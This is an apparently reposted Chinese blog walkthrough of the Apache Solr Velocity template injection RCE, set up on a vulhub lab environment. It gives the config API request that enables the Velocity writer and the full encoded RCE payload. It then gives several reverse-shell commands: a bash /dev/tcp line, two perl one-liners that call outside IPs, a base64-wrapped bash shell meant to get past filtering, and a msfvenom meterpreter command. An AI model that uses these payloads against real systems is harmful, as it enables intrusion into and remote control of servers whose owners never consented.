zoukankan      html  css  js  c++  java
  • Apache Solr Velocity模板注入rce+获取交互式shell

    前言:

    官方的poc、exp payload只能获取很低的命令执行权限,甚至有些符号、命令还被过滤了,例如管道符被过滤。并且不能写入、下载文件,不能使用管道符重定向文件。那么我们只能通过获取到交互式shell来执行理想的命令。

    0x01影响范围

    Apache Solr 5.x - 8.2.0,存在config API版本

    0x02环境搭建

    vulhub上有几个apache solr的环境,我们使用vulhub上最新的环境“Apache Solr 远程命令执行漏洞(CVE-2019-0193)”

    进入到vulhub目录下的solr漏洞的CVE-2019-0193下,然后执行命令:

    docker-compose up -d

    一键开启环境,这个环境的solr是8.1.1,那么存在该漏洞。

    开启环境后,我们要先创建名为test的core,这才将漏洞环境完整搭好,命令为:

    docker-compose exec solr bash bin/solr create_core -c test -d example/example-DIH/solr/db

    dokcer ps看一下端口,然后进行http://ip:端口,访问    默认8983端口

    0x04漏洞利用

    我们要知道目标机的core名称才能进行下一步攻击,例如我们刚刚创建的core名称为test,我们看看 core admin

     确定了core名称为test,我们试着访问一下 http://host/solr/test/config

     能显示出如下代码那么就没问题,接下来发一个post包(伪造一个post包,可以抓刚刚/solr/test/config的get请求包,然后改成post请求),post数据为:

    {
      "update-queryresponsewriter": {
        "startup": "lazy",
        "name": "velocity",
        "class": "solr.VelocityResponseWriter",
        "template.base.dir": "",
        "solr.resource.loader.enabled": "true",
        "params.resource.loader.enabled": "true"
      }
    }

    post请求头可为:

     POST /solr/test/config HTTP/1.1
     Host: 192,168.1.146:8983
     Content-Type: application/json
     Content-Length: 263

    基础的参数在就行,也可以加上user-agent

    发包,响应包出现200则成功

     之后就可以用我们的官方exp的payload:

    http://ip:8983/solr/test/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

    命令执行的地方在exec里面,我标红了的

     但是这里不能写入下载文件,就种不了马。我们需要一个交互式的shell。

    0x05利用反弹获取交互式shell

    一开始一般想到直接使用bash反弹命令:bash -i >& /dev/tcp/xx.xx.xx.xx/7777 0>&1 但是使用之后并不会执行,它直接返回500错误

     vps上监听根本没有流量,然后想到将bash反弹脚本写在vps上,然后在目标执行curl ip/bash.sh | bash,然后在vps上监听,但是发现也执行不了,目标直接将脚本里面的命令输出在页面上了:

    一般linux都带perl,那么试着用perl反弹命令:

    perl -e 'use Socket;$i="167.107.0.1";$p=25555;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
    
    perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"167.107.123.123:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

    共有两条命令,第二条是不依赖/bin/bash的,全都试了试,都不行,报500错误,应该是哪个符号或者哪个命令被禁止执行了。

     还试了java反弹,也不行。那么现在这种状态应该只有想到通过绕过执行反弹命令了。

    在网上摸取到了一个姿势,将bash命令进行runtime编码,然后再进行url编码即可绕过大部分waf,这里也可以绕过。

    当然runtime编码是没有在线的,需要的话要去网上下载源码进行编译执行。

    但这里针对bash反弹命令:bash -i >& /dev/tcp/xx.xx.xx.xx/7777 0>&1 这个的话,有一个规律的:

    最前面跟上一个bash -c 
    格式为:bash -c {}|{base64,-d}|{bash,-i}
    第一个大括号里面为bash整个反弹命令的base64编码

    例如:
    bash -c {YmFzaCAtaSA+JiAvZGV2L3RjcC94eC54eC54eC54eC83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}
    
    

    再将runtime后的整个字符串进行url编码转换就行了。

     将编码后的反弹命令拿去RCE处进行执行

     vps上成功接收到交互式shell。

    0x06 利用perl脚本加msf获取交互式shell

    msf生成命令:

    msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=<IP_Addr> LPORT=<Port_Num> -f elf > shell.elf

    接下来就参考: https://forum.90sec.com/t/topic/579

  • 相关阅读:
    scala环境配置+hello world!
    mysql无法登录
    ajax跨域
    jfinal框架页面找不到相关css,js文件404
    从程序员到CTO的Java技术路线图 作者:zz563143188
    在項目中快速部署SLF4J+LOGBACK
    Spring整合MyBatis
    SpringMVC常用注解實例詳解3:@ResponseBody
    浏览器包含哪些进程?
    前端程序员也需要知道进程和线程
  • 原文地址:https://www.cnblogs.com/-chenxs/p/12012463.html
Copyright © 2011-2022 走看看